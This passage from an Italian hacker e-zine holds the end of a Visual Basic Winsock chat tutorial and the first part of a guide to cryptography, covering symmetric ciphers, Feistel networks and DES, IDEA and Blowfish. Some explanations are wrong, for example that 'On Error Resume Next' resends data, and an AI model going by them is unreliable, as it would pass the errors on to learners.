| End Sub |
| C'è da poco spiegare.. Chiude la connessione tramite il comando close. |
| L'altra riga cambia solo il contenuto della casella che indica lo stato |
| della connessione. |
| ==================================================================== |
| Private Sub TCP1_Connect() |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHost |
| End Sub |
| Mh.. Quando la connessione è avvenuta (TCP1_Connect) nella casella |
| txtip appare l'ip del computer remoto. |
| ==================================================================== |
| Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Accept requestID |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHostIP |
| End Sub |
| Già qui è la cosa è più interessante.. Allora.. |
| Quando c'è una richiesta di connessione (TCP1_ConnectionRequest) il |
| computer si comporta così: |
| La prima riga serve a dire che appena la connessione dell'altro |
| computer si chiude (TCP1.State <> sckClosed) allora la nostra |
| connessione a lui si interrompe. |
| La seconda riga setta la porta locale a 0. |
| La terza riga dice di accettare la connessione, la terza cambia lo |
| stato della label (inutile ai fini della connessione, serve solo a noi |
| per vedere meglio se la connessione è attiva o meno) e dice che la |
| casella txtip deve assumere come valore l'indirizzo Ip del pc remoto.. |
| ==================================================================== |
| Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) |
| Dim Data As String |
| On Error Resume Next |
| TCP1.GetData Data |
| txtchat = "Ricevuto:" & Data & vbCrLf & txtchat |
| End Sub |
| Questa è la procedura che il programma segue in caso di arrivo di |
| dati (TCP1_DataArrival). |
| Dim Data as String definisce i dati che arrivano (che per comodità ho |
| chiamato data) come stringhe alfanumeriche. |
| On Error Resume Next vuole dire che in caso di errore di trasmissione i |
| dati vengono spediti di nuovo. |
| TCP1.GetData Data dice che i dati ricevuti ( GetData ) dalla |
| connessione prendono il nome di data. |
| txtchat = "Ricevuto:" & Data & vbCrLf & txtchat Con questa riga di |
| comando i dati ricevuti vengono scritti nella casella txtchat preceduti |
| da Ricevuto: e seguiti dal testo già presente nella chat.. E con questo |
| ho finito. |
| ==================================================================== |
| Riepilogo delle principali funzioni di Winsock: |
| 1.- Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) |
| Indica al programma come comportarsi in caso di arrivo dati. |
| 2.- GetData |
| Funzione del Winsock che indica al programma di prendere i dati e |
| dargli un nome a scelta. |
| SINTASSI: nomeconnessione.GetData nomedeidati |
| 3.- SendData |
| Funzione del Winsock che indica al programma di spedire i dati. |
| SINTASSI: nomeconnessione.SendData nomeoggettodaspedire |
| 4.- Listen |
| Funzione del Winsock che dice al programma di mettersi in ascolto. |
| SINTASSI: nomeconnessione.Listen |
| IMPORTANTE: deve essere preceduto da LocalPort per impostare su quale |
| porta il programma deve mettersi in ascolto |
| 5.- LocalPort |
| Funzione del Winsock che imposta la porta. |
| SINTASSI: nomeconnessione.LocalPort = numeroporta |
| 6.- Connect |
| Funzione del Winsock molto importante. Tramite questa inizia |
| il collegamento. |
| SINTASSI: nomeconnessione.Connect ipacuicollegarsi, portaacuicollegarsi |
| 7.- Private Sub TCP1_Connect() |
| Indica al programma come comportarsi una volta avvenuta la connessione |
| 8.- Private Sub TCP1_Close() |
| Indica al programma come comportarsi una volta chiusa la connessione |
| 9.- Close |
| Indica al programma di chiudere la connessione |
| SINTASSI: nomeconnessione.Close |
| 10.- TCP1.Accept requestID |
| Indica al programma di accettare la connessione e l'ID che ci |
| viene assegnato. |
| 11.- State |
| Indica lo stato di connessione del programma, utile negli if. Esempio: |
| se lo stato della connessione è sconnesso allora fai x. |
| SINTASSI: nomeconnessione.State valorecheassume |
| Valore che può assumere State: |
| sckClosed Impostazione predefinita. Chiuso |
| sckOpen Aperto |
| sckListening In attesa |
| sckConnectionPending Connessione in sospeso |
| sckResolvingHost Risoluzione dell'host in corso |
| sckHostResolved Host risolto |
| sckConnecting Connessione in corso |
| sckConnected Connesso |
| sckClosing Il client sta chiudendo la connessione |
| sckError Errore |
| ==================================================================== |
| Questo gente !! Almeno per adesso. La prossima lezione vedremo come |
| creare qualche altra applicazione con il Winsock. |
| Screener_it |
| screener_it@freemail.it |
| P.s. Per chi non avesse capito bene come funziona la chat ho allegato i |
| sorgenti nel file zip winsock_e_VB.zip scritti in Vb 5.. |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| GUiDA ALLA CRiTT0GRAFiA [SonGoten] 0x12/0x23 |
+--------------------------------------------------------------------------+
| |
| Salve ragazzi! .... sono finalmente arrivato al mio |
| terzo articolone!!:D |
| Ormai l'esperienza di scrittore inizia a farsi sentire, quindi questo |
| articolo, cerchero' di strutturarlo in modo piu' ordinato, seguendo un |
| "indice" e creando vari paragrafi.... |
| Anche se su questo argomento ho studiato abbastanza e mi sono procurato |
| diverso materiale, la cosa non e' per niente facile! :) |
| quindi nel caso in cui facessi errori non riempitemi di insulti |
| ....grazie :D |
| |
| Bene.... fatto questo piccolo commento procederei con il solito |
| Disclaimer :) |
| |
| DISCLAIMER: Nota Bene, tutto il contenuto di questa guida deve essere |
| usato solo a titolo informativo, in quanto uno sbagliato utilizzo di |
| queste informazioni e' da ritenersi dannoso! Quindi il sottoscritto non |
| si prende nessuna responsabilita'....Se le cose spiegate qui sotto |
| verranno applicate, la persona fara' un'azione illegale e quindi ne |
| subira' le relative conseguenze!! :) |
| |
| Questo articolo, che potrei piu' definirlo una guida, cerchera' |
| di toccare tutti(per quanto mi sia possibile) gli argomenti e gli |
| aspetti della Crittografia: dalla teoria classica sulla crittografia, |
| alla sicurezza nelle reti e persino alla programmazione di un nostro |
| Cripter. :) |
| Ricordate pero' che anche dopo avere studiato questa quida non sarete |
| affatto esperti dell'argomento, ma avrete una buona "infarinatura", per |
| iniziare a studiarlo seriamente.... (nelle conclusioni vi lascio |
| qualche titolo di libro interessante). |
| |
| |
| -->{Indice}<-- |
| |
| - Introduzione (Attacchi alla sicurezza, Problematiche e Soluzioni) |
| - Crittografia Convenzionale (Basi, Algoritmi, Cifratura a Blocchi..) |
| - Crittografia a Chiave Pubblica (intro, fondamenti e algoritmi..) |
| - Firma Digitale e informazioni sui principali algoritmi |
| - Funzioni Hash (qualche concetto, MD2,MD4,MD5,SHA e SHA-1) |
| - Sistemi di Autenticazione (qualche concetto sul Kerberos ecc) |
| - Sicurezza della posta elettronica (PGP, S/MIME, ecc) |
| - Protocolli generali di Sicurezza su Internet (S-HTTP, SSL, PCT,S/WAN) |
| - Commercio Elettronico (IKP, SET, Secure Courier) |
| - Difetti e tecniche ;D (Exploit, Keyboard sniffers, TEMPEST, |
| Lettura della memoria, Lettura della cache del disco, Packet sniffers, |
| Trojan, Password) |
| - Approfondiamo il concetto di XOR :) |
| - L'algoritmo DES in modo piu' o meno dettagliato... |
| - Creazione di un nostro Cripter (sorgente in Turbo Pascal) |
| - Conclusioni :) |
| |
| Questo e' l'indice dell'intera "opera", pero' siccome è molto |
| grossa come guida e sono venute un po' troppe pagine, per essere |
| pubblicata in un solo numero della e-zine.... ho dovuto dividerla in 3 |
| parti. |
| Infatti in questo numero saranno trattati solo i primi 3 punti. |
| |
| - Introduzione (Attacchi alla sicurezza, Problematiche e Soluzioni) |
| - Crittografia Convenzionale (Basi, Algoritmi, Cifratura a Blocchi..) |
| - Crittografia a Chiave Pubblica (intro, fondamenti e algoritmi..) |
| |
| ----------------------------------------------------------------------- |
| |
| -->{Introduzione}<-- |
| |
| In questi ultimi decenni la sicurezza delle informazioni via Internet |
| si e' fatta sempre piu' importante e indispensabile per |
| organizzazioni e governi.. |
| Il diffondersi del E-Commerce, che consente di comprare prodotti Online, |
| ha contribuito ad accelarare l'evoluzione dei sistemi di protezione e |
| quindi di Crittografia. |
| E' noto infatti come nel caso di E-Commerce (commercio elettronico) ci |
| sia una notevole quantita' di informazioni personali e private (num |
| carte di credito ecc) che non devono essere lette da nessuno! :) |
| Risaputo.. infatti come molti hacker riescono a impadronirsi di |
| informazioni riservate e quindi a compiere azioni di spionaggio |
| industriale, che potrebbe comportare il fallimento della medesima |
| societa'.... o in certi casi la lettura di informazioni riservate |
| potrebbe anche danneggiare un singolo utente. |
| E' evidente quindi, l'importanza di evitare situazioni del genere! |
| A questo proposito molte societa' si sono messe a studiare per cercare |
| di risolvere questi problemi..una soluzione e' stata appunto la |
| Crittografia delle informazioni riservate. |
| Dunque.. Cos'e' la questa Crittografia? Bene.. la crittografia è la |
| scienza che crea ed usa i sistemi di crittografia. Un sistema di |
| crittografia e' un metodo per rendere illeggibili i messaggi, in modo da |
| renderli decodificabili solo dal destinatario prestabilito. |
| I sistemi di crittografia sono chiamati anche sistemi di cifratura. |
| L' arte di scardinare i sistemi di cifratura e' chiamata crittoanalisi. |
| Quindi la scienza che studia la crittografia e la crittoanalisi e' |
| chiamata crittologia (dal greco kryptos, che significa "nascosto" e |
| logos,che significa "discorso, parola" ). |
| Il messaggio originale e' chiamato testo in chiaro, ed il messaggio |
| codificato e' detto testo cifrato. |
| Quando si codifica un messaggio, si usa una procedura (algoritmo) che lo |
| converte in testo cifrato rendendolo cosi incomprensibile. |
| Questo procedimento di codifica e' detto cifratura o encryption, mentre |
| il processo inverso che consente al destinatario di leggere il messaggio |
| e' detto decifratura oppure decryption. |
| Prima di entrare nel mondo della Crittografia, vorrei ancora fare un |
| esempio: |
| Avete credo capito che sono molte ragioni per crittografare i messaggi |
| che viaggiano sulla rete. |
| Ma siccome questo e' un punto fondamentale preferisco approndirlo. |
| Ad esempio, potresti inviare informazioni personali a qualcuno, come per |
| esempio il numero della tua carta di credito, e ovviamente vorresti |
| evitare che qualcuno (che non sia il destinatario legittimo) possa |
| leggere le tue informazioni.. Forse ti starai chiedendo come qualcuno |
| possa leggere la tua posta.... semplice, guarda l' area in testo (header |
| del email) a qualsiasi messaggio di posta elettronica. |
| Bene.. come puoi vedere, quel messaggio e' passato attraverso vari host |
| lungo la strada che ha fatto fino a te. |
| A questo punto basta considerare che qualsiasi persona che lavora in |
| quegli Host puo' leggere i tuoi messaggi!! |
| Per non parlare degli Sniffer (di cui parliamo pi— avanti) !! :D |
| A questo punto si puo' addirittura dire che la posta tradizionale e' |
| piu' sicura di quella elettronica! :D Bene!! adesso che abbiamo capito |
| l'importanza della crittografia sulla rete.... |
| ..Iniziamo pure con la

  
crittografia! :) |
| |
| |
| -->{Crittografia Convenzionale}<-- |
| |
| La crittografia tradizionale e' basata su una chiave segreta. |
| Un mittente che vuole inviare un messaggio cifrato a qualcuno, lo cifra |
| usando una chiave segreta ed il destinatario lo decifra usando la stessa |
| chiave segreta. |
| Ovviamente, sia il mittente che il destinatario di quel messaggio devono |
| essere a conoscenza della stessa chiave segreta. Questo metodo e' detto |
| crittografia a chiave segreta o crittografia simmetrica. Il problema |
| principale e' che il mittente ed il ricevente devono accordarsi su una |
| chiave segreta comune, e devono usare una via sicura per scambiarsi |
| questa informazione. |
| Potrebbero usare un corriere fidato, il telefono oppure il mittente |
| potrebbe cifrare la chiave segreta!! Bene.. ma come puo' il mittente |
| cifrare la chiave? |
| Il ricevente non potrebbe decifrarla, perche' non conosce la chiave |
| stessa!! |
| Cosi', si potrebbe usare il sistema telefonico, certo, ma qualcuno |
| potrebbe intercettare la telefonata.... Allora si potrebbe usare un |
| corriere fidato, certo, ma il corriere potrebbe essere corrotto... |
| Per queste ragioni venne inventato un altro sistema di crittografia: il |
| sistema a chiave pubblica (chiamato anche sistema crittografico |
| asimmetrico).... ma di questo ne parleremo pi— avanti! :) |
| Forse potreste trovare esagerate tutte ste preoccupazioni ma.. come si |
| dice? "Fidarsi e' bene ma non fidarsi è meglio!! :D".. |
| Un sistema di cifratura convenzionale e' costituito da 5 elementi |
| principali: Testo in Chiaro, Chiave Segreta, Algoritmo di Cifratura, |
| Testo Cifrato, Algoritmo di Decifratura.. Come ben si capisce dalla |
| parola stessa il testo in chiaro non e' altro che il documento |
| stesso che dovete crittare, mentre il testo cifrato sara' il testo che |
| e' stato "mascherato" dalla cifratura.. chi e' dunque che crea questa |
| sorta di "maschera" ?? ....appunto e' l'Algoritmo. :) |
| L'algoritmo di Cifratura effettua numerose sostituzioni |
| e trasformazioni sul testo in chiaro, rendendolo incomprensibile. |
| Mentre l'algoritmo di decifratura fara' le stesse operazioni ma in modo |
| inverso, facendo cosi' ritornare comprensibile il testo. :) |
| Sono quindi due i requisiti per avere un sistema di cifratura |
| convenzionale sicuro! |
| 1) Utilizzare un algoritmo di cifratura efficente. :) |
| 2) Assicurarsi che il mittente e il destinatario del messaggio,si siano |
| scambiati le password in modo sicuro.. :) |
| |
| Vediamo ora un modello semplificato di Cifratura Convenzionale: |
| |
| .---------. Chiave Segreta Chiave segreta .---------. |
| | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | |
| | | | Algoritmo | T.Cifrato | Algoritmo | | | |
| | in |==>>| |--->------>| |==>>| in | |
| | | | Cifratura | Trasmesso | Decifratura | | | |
| | Chiaro | |___________| |_____________| | Chiaro | |
| |_________| |_________| |
| Mittente |
| Destinatario |
| |
| Come potete vedere il Mittente critta un messaggio usando un certo |
| Algoritmo e una certa chiave segreta.. fatto cio' il messaggio viene |
| trasmesso al destinatario che usando lo stesso algoritmo matematico |
| e la stessa chiave ritrasforma il testo crittato in testo chiaro... |
| semplice vero? :) |
| |
| I sistemi crittografici sono generalmente classificati in base a tre |
| criteri: |
| 1) Il tipo di operazione utilizzate per fare diventare il testo in |
| chiaro in testo cifrato. |
| Tutti gli algoritmi di cifratura si basano su due operazioni |
| principali: la sostituzione con cui ogni elemento del testo in chiaro |
| viene trasformato in un altro elemento; la seconda operazione e' |
| detta transposizione con cui gli elementi del testo in chiaro vengono |
| riorganizzati.. |
| 2) Il numero di chiavi utilizzate: Se il mittente e il destinatario |
| utilizzano le stesse chiavi il sistema e' detto Simmetrico (appunto |
| un sistema convenzionale) ...mentre se le chiavi sono differenti si |
| parla di un sistema Asimmetrico (a chiave pubblica). |
| 3) Il modo in cui il testo in chiaro viene elaborato e trasformato in |
| testo cifrato. Esistono infatti un cifrario a blocchi detto anche |
| block cipher, che quando gli viene fornito un blocco elabora un |
| blocco alla volta, producendo in uscita un blocco per ogni blocco |
| ricevuto in ingresso (ma di questo parleremo meglio, dopo). |
| Un cifrario a flusso detto anche stream cipher, che elabora uno a uno |
| gli elementi dando uno per volta l'uscita (a flusso appunto). |
| |
| Ma che cos'e' dunque la crittoanalisi?? beh.... semplicemente, come ho |
| gia' accennato prima e' la scienza che studia il processo mediante il |
| quale e' possibile decifrare un testo cifrato non conoscendo la |
| chiave di decifrazione.. |
| La situazione piu' difficile sara' appunto il caso in cui l'unico |
| elemento conosciuto e' il testo cifrato e non si sa ne la chiave ne |
| l'algoritmo. |
| Il metodo principale usato dalla crittoanalisi sara' quindi quello di |
| fare un Brute Force Attack, che consistera' nel tentare tutte le |
| possibili chiavi perpotere decrittare. |
| Un elemento fondamentale che ci fa definire un algoritmo, di cifratura, |
| sicuro sara' anche la quantità di tempo che serve per renderlo |
| inefficace.. quindi il tempo che e' stato stimato per decriptare |
| il testo (senza conoscere la chiave).. Come avete sicuramente capito, un |
| algoritmo puo' essere definito sicuro se i tempi per "crackarlo" sono |
| notevolmente alti :) |
| Eccovi una tabella che da' i tempi medi richiesti per ricercare le |
| chiavi, a seconda della loro grandezza in bit: |
| (NB: il simbolo "ms" sta per Mircro Secondo) |
| |
| ._____________________________________________________________________. |
| | Dim. | Numero | Tempo a | Tempo a | |
| | Chiave | Chiavi possib. | 1 decifr/ms | 10^6 decifr/ms| |
| |=========|=================|========================|================| |
| | | | | | |
| | 32 bit | 2^32=4,3*10^9 | 2^31 ms=35,8 minuti | 2,15 millisec. | |
| | | | | | |
| | 56 bit | 2^56=7,2*10^16 | 2^55 ms=1142 anni | 10 ore | |
| | | | | | |
| | 128 bit | 2^128=3,4*10^38 | 2^127 ms=5,4*10^24 anni| 5,4*10^18 anni| |
| | | | | | |
| | 168 bit | 2^168=3,7*10^50 | 2^167 ms=5,9*10^36 anni| 5,9*10^30 anni| |
| |_________|_________________|________________________|________________| |
| |
| Come si puo' chiaramente notare, da questa semplice tabella, il tempo |
| impiegato per decifrare un testo cifrato, dipende dal numero di bit da |
| cui e' formata la chiave.. |
| |
| Praticamente tutti gli algoritmi convenzionali a blocchi, incluso il |
| DES, hanno una struttura comune, descritta per la prima volta nel 1973 |
| dallo studioso Horst Feistel (IBM). |
| L'Input che bisogna dare a questi algoritmi sara' appunto il testo in |
| chiaro e la chiave segreta che la chiameremo K.. |
| Una volta introdotto il testo in chiaro, di lunghezza 2x bit, |
| l'algoritmo divide questo blocco in 2 parti uguali che chiameremo |
| L(0) e R(0) (Dati a Left, sinistra e dati a Right, destra. Queste 2 |
| parti di testo in chiaro verrano ora sottoposte a n iterazioni e poi |
| combinate per formare cosi il blocco di testo cifrato. |
| La i-esima iterazione rivera' in ingresso le parti di testo in chiaro |
| L(i-1) e R(i-1), risultanti dall'iterazione precedente e le combinera' |
| grazie alla chiave K(i), derivata dalla chiave completa inserita |
| da noi. |
| ....ossia K. |
| Solitamente le sottochiavi K(i) che si creano a ogni nuova iterazione, |
| sono differenti l'una dalle altre e si generano a partire dalla chiave |
| principale K (inserita dal utente). |
| Queste sottochiavi sono ovviamente create da un algoritmo di |
| generazione, che le crea a partire da quella principale K. |
| Ricordate che tutte le iterazioni svolte hanno la stessa identica |
| struttura, infatti le uniche cose a cambiare sono i dati L(i-1), R(i-1) |
| (testo in chiaro in esame) e la sottochiave K(i). |
| L'algoritmo e' presso che questo: Viene effettuata una sostituzione |
| della meta' sinistra del dato in ingresso.. la quale e' effettuata |
| grazie all'applicazione di una funzione F alla meta' destra dei dati |
| in ingresso ed effettuando un OR di tipo esclusivo (ossia XOR) tra il |
| risultato della funzione e la meta' sinistra dei dati. |
| Dopo avere compiuto tutto cio' l'algoritmo compie uno scambio delle due |
| meta' (dei dati).. creando cosi il nostro bel testo cifrato! :) |
| Molto Importante ricordare! che la funzione F,di cui ho parlato un |
| attimo fa, a ogni iterazione ha la stessa identica struttura (fa le |
| stesse operazioni).... pero'!! e' può essere definita parametrica |
| rispetto alla sottochiave K(i) (generata ad ogni itereazione..). |
| Quindi anche se la F e' identica a ogni passaggio, puo' essere definita |
| diversa, in quanto le operazioni possono "cambiare" proprio perche il |
| valore di K(i) e' diverso da quello del passaggio precedente. |
| Questo e' pressochè la struttura generale di un algoritmo (Schema di |
| Feistel). |
| Questo schema, viene differenziato da alcuni parametri che |
| caretterizzano i vari algoritmi: |
| 1) Dimensione del blocco: Una maggiore dimensione del blocco delle |
| operazioni, rende l'algoritmo piu' sicuro e efficente (solitamente |
| adottato quello a 64 bit).. |
| 2) Dimensione della chiave: Come spiegato in precedenza piu' e' |
| grande la |
| chiave piu' e' sicuro l'algoritmo, pero' il tempo per cifrare il |
| testo è |
| piu' alto (ma anche quello per "crackarlo" :D) |
| 3) Numero di Iterazioni: Piu' iterazioni si fanno e' più il |
| testo cifrato |
| e' sicuro. (16 di solito). |
| 4) Algoritmo per la generazione delle sottochiavi: K(i).. piu' e' |
| complesso questo algoritmo e piu' e' difficile la crittoanalisi del |
| testo cifrato. :) |
| 5) Funzione di cifratura: Anche in questo caso piu' e' complessa e |
| più è |
| ardua la criptoanalisi :) |
| Avrete sicuramente capito, che piu complesso e' la struttura |
| del blocco, |
| algoritmo, ecc, e piu' l'intero algoritmo diventa efficace e ingrado di |
| creare testi cifrati, estremamente difficili da crittoanalizzare.. |
| Pero' e' anche vero che spesso queste operazioni devono |
| essere incorporate |
| a applicazioni e operazioni che non possono richiedere troppo tempo.... |
| Quindi, di conseguenza, la velocita' di esecuzione di un algoritmo |
| diventa spesso di primaria importanza. |
| Come vi ho gia' accennato, quasi tutti gli algoritmi conosciuti, |
| utilizzano lo schema spiegato sopra (Schema di Feistel). Il motivo di |
| questa scelta e' appunto che la sua struttura è ben definita e cio' |
| rende piu' facile determinare la robustezza di un algoritmo. |
| Infatti se non si usasse questo schema, sarebbe piu' difficile |
| individuare eventuali "punti deboli", in quanto il creatore di questo |
| ultimo farebbe piu' difficolta' a vederli. |
| |
| Facciamo ora qualche commento sui principali Algoritmi a blocchi di |
| cifratura Convenzionale: |
| Di seguito vi riporto una tabella con i dati principali di questi |
| Algoritmi. |
| |
| .___________Tabella_algoritmi_di_cifratura_convenzionale_____________. |
| |-----------.-------------.---------------.-------------.------------| |
| | | | | Operazioni | | |
| | Algoritmo | Dim. Chiave | N° iterazioni | Matematiche |Applicazioni| |
| |===========|=============|===============|=============|============| |
| | | | | XOR, | SET e | |
| | DES | 56 bit | 16 |S-box fissate| Kerberos | |
| |___________|_____________|_______________|_____________|____________| |
| | | 112 bit o | | XOR, |Key finaziar| |
| |Triplo-DES | 168 bit | 48 |S-box fissate|PGP, S/MIME | |
| |___________|_____________|_______________|_____________|____________| |
| | | | |XOR, Addizion| | |
| | IDEA | 128 bit | 8 | e Moltiplic.| PGP | |
| |___________|_____________|_______________|_____________|____________| |
| | | var. fino a | |XOR, Moltipl.| | |
| | Blowfish | 448 bit | 16 |S-box variab.| / | |
| |___________|_____________|_______________|_____________|____________| |
| | | | |Add,Sottrazio| | |
| | RC5 | var. fino a | var. fino a |XOR,Rotazione| / | |
| | | 2048 bit | 255 |S-box fissate| | |
| |___________|_____________|_______________|_____________|____________| |
| | | | |Add,Sottrazio| | |
| | CAST-128 | da 40 bit | 16 |XOR,Rotazione| PGP | |
| | | a 128 bit | |S-box fissate| | |
| |___________|_____________|_______________|_____________|____________| |
| .--------------------------------------------------------------------. |
| |
| In questa tabella ho voluto riportare, sinteticamente alcune |
| caratteristiche di alcuni, degli alrgoritmi principali.. |
| Ora commenteremo in modo molto generale, questi e molti altri algoritmi |
| a chiave privata :) |
| In un sistema a chiave segreta (o privata) si possono trovare i |
| seguenti algoritmi: DES (e sue variazioni), Triplo DES, IDEA, CAST-128 |
| SAFER, RC2, RC4, RC5, FEAL, SKIPJACK, BLOWFISH, SEAL, ecc :) |
| (Di seguito vi propporr• un breve commento su ogninuo di questi |
| algoritmi, per quel che riguarda eventuali algoritmi o programmi in C |
| che vi spieghino l'algoritmo in modo dettagliato vi conisiglio di |
| andare su google e provare a cercarli visto che Š pieno... nel caso non |
| riusciste a trovare nessun sorgente o altro mandatemi una mail vedr• se |
| posso aiutarvi....visto che qualche specifica e programmuzzo in C l'ho |
| trovato). |
| |
| *-DES-* |
| DES sta per Data Encryption Standard ed e' un cifratore a blocco |
| iterativo sviluppato alla IBM e definito dal governo degli Stati Uniti |
| come standard ufficiale nel 1977. La dimensione dei blocchi DES e' |
| di 64 bit, ed usa una chiave a 56 bit (16 cicli) durante la cifratura. |
| E' stato stimato che un computer specializzato del costo di 1 |
| milione di dollari richiede 3,5 ore per eseguire una ricerca esaustiva |
| (attacco di forza bruta). |
| Comunque non posso assicurare questa questa cifra.. del tutto, |
| poiche' la velocita' delle CPU stanno diventando sempre piu' alte (e |
| meno costose nello stesso tempo). Infatti le chiavi minori di 128 bit |
| sono considerate insicure ormai. |
| Anche se e' da tenere conto che un domani 128 bit potrebbero essere |
| insicuri.... |
| |
| *-Triplo-DES-* |
| Questo algoritmo usato solitamente per applicazioni finanziarie, |
| utilizza tre chiavi e tre esecuzioni dell'algoritmo DES.... |
| Il Triplo-DES e' una variazione del DES: proprio perchè cifra il |
| testo in chiaro 3 volte. |
| L' algoritmo triplo-DES puo' essere: DES-EEE3 (cifra-cifra-cifra), |
| DES-EDE3 (cifra-decifra-cifra), DES-EEE2 (cifra-cifra-cifra). |
| Il DES-EEE3 usa 3 differenti chiavi segrete durante la cifratura. |
| Il DES-EDE3 usa 3 differente chiavi ugualmente, ma nella sequenza |
| cifra-decifra-cifra. Il DES-EDE2 e' come il formato precedente ma usa 2 |
| chiavi diverse. G-DES e DESX sono altre variazioni del DES. |
| |
| *-IDEA-* |
| IDEA sta per International Data Encryption Algorithm. E' un cifratore a |
| blocco iterativo con chiave lunga 128 bit (8 cicli). E' considerato |
| essere immunedalla crittoanalisi differenziale e da quella lineare. |
| IDEA e' generalmenteconsiderato sicuro. |
| E riguardo gli attacchi di forza bruta? Bene.. una chiave a 128 bit |
| significa che solo una delle 2^128 combinazioni puo' essere una chiave |
| possibile. Cosi'...prova solo a calcolare 2^128. In altre parole un |
| computer capace di 1 MIPS (1 milione di istruzioni per secondo) dovrebbe |
| lavorare per anni, e tu protresti non vedere la soluzione... |
| Non confonderti con i sistemi a chiave pubblica. |
| Infatti, guarda questa tabella; mostra le equivalenze stimate tra un |
| attacco di forza bruta su chiavi segrete ed una fattorizzazione di |
| chiavi pubbliche: |
| |
| .________________________. |
| | | | |
| |Simmetrico | Asimmetrico| |
| |===========|============| |
| | | | |
| | 56 bit | 384 bit | |
| | 64 bit | 512 bit | |
| | 80 bit | 768 bit | |
| | 112 bit | 1792 bit | |
| | 128 bit | 2304 bit | |
| |___________|____________| |
| |
| Dato che IDEA e' stato uno dei primi algoritmi proposti, per la |
| sostituzione del "vecchio" DES, che utilizzasse una chiave a 128 vit e' |
| stato sottoposto a numerose analisi e fin ora sembra essere molto |
| resistente a eventuali tentativi di crittoanalisi. |
| Quindi e' spesso usato in applicazioni commerciali o viene usato come |
| una possibile alternativa in PGP |
| |
| *-CAST-128-* |
| Secondo le informazioni che sono riuscito a procurarmi, questo algo. |
| sarebbe stato sviluppato nel 1997 da Carlisle Adams e Stafford Tavares |
| della Entrust Technologies. |
| Questo, utilizza una dimensione di chiave che varia da 40 bit a 128 bit |
| con incrementi di 8 bit alla volta. |
| Questo algoritmo inizia con l'essere impegnato in molti prodotti tra |
| cui PGP, di cui parleremo piu avanti nella guida. |
| CAST usa S-box fissate, ma di dimensioni maggiori di quelle usate dal |
| DES. |
| Nella struttura di CAST, i suoi ideatori si sono preoccupati di rendere |
| le sottochiavi, il piu' possibile, resistenti agli attacchi di |
| crittoanalisi. |
| Una caratteristica di questo algoritmo e' che la sua Funzione F che |
| genera il codice, cambia a ogni iterazione rendendo l'intero algoritmo |
| piu' efficace. |
| |
| *-SAFER-* |
| La sigla SAFER sta per Secure And Fast Encryption Routine.. |
| Questo e' un cifratore a blocco sviluppato da Massey nel 1993 per la |
| Cylink Corporation. L'algoritmo usa una dimensione di blocco di 64 bit. |
| |
| *-RC2-* |
| RC2 sta per Ron Code o Rivest's Cipher. Questo e' un cifratore a blocco |
| (64 bit) sviluppato da Rivest per la RSA Data Security. |
| Usa una lunghezza di chiave variabile. Infatti puo' essere reso piu' o |
| meno sicuro del DES variando la misura della chiave. |
| L'algoritmo e' considerato circa 3 volte piu' veloce del DES. |
| |
| *-RC4-* |
| L' RC4 e' un cifratore a flusso sviluppato da Rivest per la RSA Data |
| Security. Algoritmo che sa una chiave a lunghezza variabile. |
| |
| *-RC5-* |
| L' RC5 e' un cifratore a blocco sviluppato da Ron Rivest per la RSA Data |
| Security. E' un algoritmo parametrico, infatti ha una dimensione di |
| blocco variabile, una lunghezza di chiave variabile, ed un numero di |
| iterazioni variabile. |
| L'algoritmo usa una dimensione del blocco puo' essere 32, 64 o 128 bit. |
| La dimensione della chiave puo' essere da 0 fino a 2048 bit. il |
| numero di iterazioni va da 0 a 255. |
| Le sue caratteristiche principali sono appunto: la velocita' di |
| escuzione l'adattabilita' a hardware e software, dovuta al fatto che |
| utilizza operazioni di base e molto semplici, che sono comunemente |
| disponibili e conosciute da tutti i microprocessori. |
| |
| *-FEAL-* |
| FEAL sta per Fast Encipherment Algorithm. E' un cifratore a blocco |
| sviluppato da Shimizu e Miyaguchi. Visto che furono annunciati vari |
| deboli attacchi, dovrebbe essere considerato insicuro. |
| |
| *-SKIPJACK-* |
| SKIPJACK e' l'algoritmo contenuto nel chip CLIPPER. Fu disegnato dalla |
| NSA (National Secure Agency). Usa una dimensione di blocco di 64 bit ed |
| una chiave di 80 bit. |
| Puo' essere implementato nel software, ma solo se contenuto all'interno |
| di hardware costruito da produttori autorizzati dal governo. |
| |
| *-BLOWFISH-* |
| BLOWFISH e' un cifratore a blocco iterativo sviluppato da |
| Bruce Schneier. |
| Questo algoritmo, divenne rapidamente una valida alternativa a DES. |
| Fu inizialmente progettato per essere facile da implementare e |
| per avere una elevata velocita' di esecuzione.. |
| Questo algoritmo e' molto compatto e puo' essere eseguito in uno |
| spazio di memoria inferiore a 5Kbyte. |
| Questo algoritmo e' stato considerato uno dei migliori,appartenenti alla |
| crittografia convenzionale. Solitamente e' usato in applicazioni |
| Commerciali. |
| Usa una chiave che puo' arrivare fino a 448 bit e l'algoritmo compie 16 |
| iterazioni. |
| Blowfish e' considerato uno dei migliori algoritmi di cifratura |
| convenzionale, in quanto le sottochiavi e le S-box sono prodotte da |
| applicazioni ripetute dello stesso algoritmo Blowfish, il quale modifica |
| i bit in ingresso, rendenla crittoanalisi estremamente piu' complicata. |
| |
| *-SEAL-* |
| SEAL sta per Software-optimized Encryption Algorithm. E' un cifratore a |
| flusso sviluppato da Rogaway e Coppersmith nel 1993. |
| |
| Questo e' un sommario di pressochè tutti (o quasi) gli algoritmi a |
| chiave segreta, di cui ho trovato qualche informazione.. Ricordate che |
| alcuni di questi Algoritmi sono presenti nella tabella sopra, in cui |
| potrete trovare le principali operazioni matematiche usate dal |
| Algoritmo. |
| |
| |
| -->{Crittografia a Chiave Pubblica}<-- |
| |
| Come avrete sicuramente capito.. la crittografia convenzionale puo' avere|
| dei problemi, in quanto risulta difficile fare sapera al destinatario, |
| la chiave corretta per decifrare il testo cifrato, senza rischi e senza |
| avere preoccupazioni. |
| Infatti e' noto come nel caso in cui la chiave sia una sola |
| (convenzionale) la difficolta' sta proprio nel fatto di riuscire a fare |
| sapere al mittente la chiave senza rischiare che nessuno la scopri :) |
